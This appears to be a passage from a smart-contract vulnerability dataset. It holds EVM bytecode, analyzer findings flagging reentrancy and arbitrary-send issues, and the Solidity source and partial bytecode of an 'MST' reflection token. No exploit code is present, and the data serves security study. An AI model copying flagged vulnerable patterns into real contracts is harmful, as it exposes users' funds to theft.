83811015613350578082015181840152602081019050613335565b8381111561335f576000848401525b50505050565b61336e8261346c565b810181811067ffffffffffffffff8211171561338d5761338c61343d565b5b80604052505050565b60006133a182613309565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133d4576133d36133df565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61377c816132cb565b811461378757600080fd5b50565b613793816132dd565b811461379e57600080fd5b50565b6137aa81613309565b81146137b557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122046e59cde0d986320a33f88fd413c1aae65943bc4f21208277cc8b6916596785764736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
3,656
0xcd7ef5c48b35b2b94e9818110dbd25f0624e215e
// SPDX-License-Identifier: Viral Public License pragma solidity ^0.8.4; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } abstract contract Reflectable is IERC20, IERC20Metadata, Ownable { using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcluded; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private _tTotal; uint256 private _rTotal; uint256 private immutable _maxTxAmount; uint256 private _tFeeTotal; constructor (uint256 totalSupply_, uint256 maxTxAmount_) { _tTotal = totalSupply_; _rTotal = (MAX - (MAX % _tTotal)); _maxTxAmount = maxTxAmount_; _rOwned[_msgSender()] = _rTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; _approve(_msgSender(), spender, currentAllowance + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } function isExcluded(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function reflect(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,) = _getValues(tAmount); _rOwned[sender] -= rAmount; _rTotal -= rAmount; _tFeeTotal += tAmount; } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount / currentRate; } function excludeAccount(address account) external onlyOwner() { require(!_isExcluded[account], "Account is already excluded"); if (_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeAccount(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address sender, address recipient, uint256 amount) private { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (sender != owner() && recipient != owner()) { require(amount <= _maxTxAmount, "Transfer amount exceeds the maximum transaction amount"); } if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _rOwned[sender] -= rAmount; _rOwned[recipient] += rTransferAmount; _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _rOwned[sender] -= rAmount; _tOwned[recipient] += tTransferAmount; _rOwned[recipient] += rTransferAmount; _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _tOwned[sender] -= tAmount; _rOwned[sender] -= rAmount; _rOwned[recipient] += rTransferAmount; _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _tOwned[sender] -= tAmount; _rOwned[sender] -= rAmount; _tOwned[recipient] += tTransferAmount; _rOwned[recipient] += rTransferAmount; _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal -= rFee; _tFeeTotal += tFee; } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee); } function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) { uint256 tFee = calculateFee(tAmount); uint256 tTransferAmount = tAmount - tFee; return (tTransferAmount, tFee); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount * currentRate; uint256 rFee = tFee * currentRate; uint256 rTransferAmount = rAmount - rFee; return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply / tSupply; } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply -= _rOwned[_excluded[i]]; tSupply -= _tOwned[_excluded[i]]; } if (rSupply < _rTotal / _tTotal) return (_rTotal, _tTotal); return (rSupply, tSupply); } function calculateFee(uint256 tAmount) internal pure virtual returns (uint256) { return tAmount / 100; } } contract MST is Reflectable { string private constant _name = "MultiStakeTurkey"; string private constant _symbol = "MST"; uint8 private constant _decimals = 6; uint256 private constant _totalSupply = 1000000000000000000; uint256 private constant _maxTxAmount = _totalSupply / 100; uint256 private constant _redistributionPercent = 5; constructor() Reflectable(_totalSupply, _maxTxAmount) {} function name() public pure override returns (string memory) { return _name; } function symbol() public pure override returns (string memory) { return _symbol; } function decimals() public pure override returns (uint8) { return _decimals; } function maxTxAmount() public pure returns (uint256) { return _maxTxAmount; } function calculateFee(uint256 tAmount) internal pure override returns (uint256) { return tAmount / 100 * _redistributionPercent; } }
0x608060405234801561001057600080fd5b50600436106101425760003560e01c8063715018a6116100b8578063a9059cbb1161007c578063a9059cbb1461038f578063cba0e996146103bf578063dd62ed3e146103ef578063f2cc0c181461041f578063f2fde38b1461043b578063f84354f11461045757610142565b8063715018a6146102fb5780638c0b5e22146103055780638da5cb5b1461032357806395d89b4114610341578063a457c2d71461035f57610142565b806323b872dd1161010a57806323b872dd146101ed5780632d8381191461021d578063313ce5671461024d578063395093511461026b5780634549b0391461029b57806370a08231146102cb57610142565b8063053ab1821461014757806306fdde0314610163578063095ea7b31461018157806313114a9d146101b157806318160ddd146101cf575b600080fd5b610161600480360381019061015c9190612611565b610473565b005b61016b6105aa565b60405161017891906126d7565b60405180910390f35b61019b60048036038101906101969190612757565b6105e7565b6040516101a891906127b2565b60405180910390f35b6101b9610605565b6040516101c691906127dc565b60405180910390f35b6101d761060f565b6040516101e491906127dc565b60405180910390f35b610207600480360381019061020291906127f7565b610619565b60405161021491906127b2565b60405180910390f35b61023760048036038101906102329190612611565b61071a565b60405161024491906127dc565b60405180910390f35b610255610781565b6040516102629190612866565b60405180910390f35b61028560048036038101906102809190612757565b61078a565b60405161029291906127b2565b60405180910390f35b6102b560048036038101906102b091906128ad565b61083b565b6040516102c291906127dc565b60405180910390f35b6102e560048036038101906102e091906128ed565b6108bd565b6040516102f291906127dc565b60405180910390f35b6103036109a8565b005b61030d610ae2565b60405161031a91906127dc565b60405180910390f35b61032b610afe565b6040516103389190612929565b60405180910390f35b610349610b27565b60405161035691906126d7565b60405180910390f35b61037960048036038101906103749190612757565b610b64565b60405161038691906127b2565b60405180910390f35b6103a960048036038101906103a49190612757565b610c58565b6040516103b691906127b2565b60405180910390f35b6103d960048036038101906103d491906128ed565b610c76565b6040516103e691906127b2565b60405180910390f35b61040960048036038101906104049190612944565b610ccc565b60405161041691906127dc565b60405180910390f35b610439600480360381019061043491906128ed565b610d53565b005b610455600480360381019061045091906128ed565b610fee565b005b610471600480360381019061046c91906128ed565b611197565b005b600061047d6114cd565b9050600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561050c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610503906129f6565b60405180910390fd5b6000610517836114d5565b50505050905080600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461056c9190612a45565b9250508190555080600760008282546105859190612a45565b92505081905550826008600082825461059e9190612a79565b92505081905550505050565b60606040518060400160405280601081526020017f4d756c74695374616b655475726b657900000000000000000000000000000000815250905090565b60006105fb6105f46114cd565b848461152d565b6001905092915050565b6000600854905090565b6000600654905090565b60006106268484846116f8565b6000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106716114cd565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156106f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106e890612b41565b60405180910390fd5b61070e856106fd6114cd565b85846107099190612a45565b61152d565b60019150509392505050565b6000600754821115610761576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161075890612bd3565b60405180910390fd5b600061076b611bee565b905080836107799190612c22565b915050919050565b60006006905090565b600080600360006107996114cd565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905061083061081e6114cd565b85858461082b9190612a79565b61152d565b600191505092915050565b6000600654831115610882576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161087990612c9f565b60405180910390fd5b816108a1576000610892846114d5565b505050509050809150506108b7565b60006108ac846114d5565b505050915050809150505b92915050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561095857600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506109a3565b6109a0600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461071a565b90505b919050565b6109b06114cd565b73ffffffffffffffffffffffffffffffffffffffff166109ce610afe565b73ffffffffffffffffffffffffffffffffffffffff1614610a24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a1b90612d0b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60006064670de0b6b3a7640000610af99190612c22565b905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600381526020017f4d53540000000000000000000000000000000000000000000000000000000000815250905090565b60008060036000610b736114cd565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610c30576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2790612d9d565b60405180910390fd5b610c4d610c3b6114cd565b858584610c489190612a45565b61152d565b600191505092915050565b6000610c6c610c656114cd565b84846116f8565b6001905092915050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610d5b6114cd565b73ffffffffffffffffffffffffffffffffffffffff16610d79610afe565b73ffffffffffffffffffffffffffffffffffffffff1614610dcf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dc690612d0b565b60405180910390fd5b600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610e5c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e5390612e09565b60405180910390fd5b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115610f3057610eec600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461071a565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6001600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506005819080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b610ff66114cd565b73ffffffffffffffffffffffffffffffffffffffff16611014610afe565b73ffffffffffffffffffffffffffffffffffffffff161461106a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161106190612d0b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156110da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110d190612e9b565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b61119f6114cd565b73ffffffffffffffffffffffffffffffffffffffff166111bd610afe565b73ffffffffffffffffffffffffffffffffffffffff1614611213576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161120a90612d0b565b60405180910390fd5b600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661129f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161129690612e09565b60405180910390fd5b60005b6005805490508110156114c9578173ffffffffffffffffffffffffffffffffffffffff16600582815481106112da576112d9612ebb565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156114b657600560016005805490506113359190612a45565b8154811061134657611345612ebb565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166005828154811061138557611384612ebb565b5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600580548061147c5761147b612eea565b5b6001900381819060005260206000200160006101000a81549073ffffffffffffffffffffffffffffffffffffffff021916905590556114c9565b80806114c190612f19565b9150506112a2565b5050565b600033905090565b60008060008060008060006114e988611c12565b9150915060006114f7611bee565b905060008060006115098c8686611c3f565b92509250925082828288889a509a509a509a509a5050505050505091939590929450565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561159d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159490612fd4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561160d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161160490613066565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516116eb91906127dc565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611768576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161175f906130f8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156117d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117cf9061318a565b60405180910390fd5b6000811161181b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118129061321c565b60405180910390fd5b611823610afe565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156118915750611861610afe565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156118fa577f000000000000000000000000000000000000000000000000002386f26fc100008111156118f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118f0906132ae565b60405180910390fd5b5b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561199d5750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156119b2576119ad838383611c88565b611be9565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611a555750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611a6a57611a65838383611e1e565b611be8565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611b0e5750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611b2357611b1e838383611fb4565b611be7565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015611bc55750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611bda57611bd58383836120f4565b611be6565b611be5838383611fb4565b5b5b5b5b505050565b6000806000611bfb6122e0565b915091508082611c0b9190612c22565b9250505090565b6000806000611c208461257e565b905060008185611c309190612a45565b90508082935093505050915091565b6000806000808487611c5191906132ce565b905060008587611c6191906132ce565b905060008183611c719190612a45565b905082818395509550955050505093509350939050565b6000806000806000611c99866114d5565b9450945094509450945085600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611cf29190612a45565b9250508190555084600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611d489190612a45565b9250508190555083600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611d9e9190612a79565b92505081905550611daf83826125a0565b8673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611e0c91906127dc565b60405180910390a35050505050505050565b6000806000806000611e2f866114d5565b9450945094509450945084600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611e889190612a45565b9250508190555081600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611ede9190612a79565b9250508190555083600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611f349190612a79565b92505081905550611f4583826125a0565b8673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611fa291906127dc565b60405180910390a35050505050505050565b6000806000806000611fc5866114d5565b9450945094509450945084600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461201e9190612a45565b9250508190555083600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546120749190612a79565b9250508190555061208583826125a0565b8673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516120e291906127dc565b60405180910390a35050505050505050565b6000806000806000612105866114d5565b9450945094509450945085600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461215e9190612a45565b9250508190555084600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546121b49190612a45565b9250508190555081600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461220a9190612a79565b9250508190555083600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546122609190612a79565b9250508190555061227183826125a0565b8673ffffffffffffffffffffffffffffffffffffffff168873ffff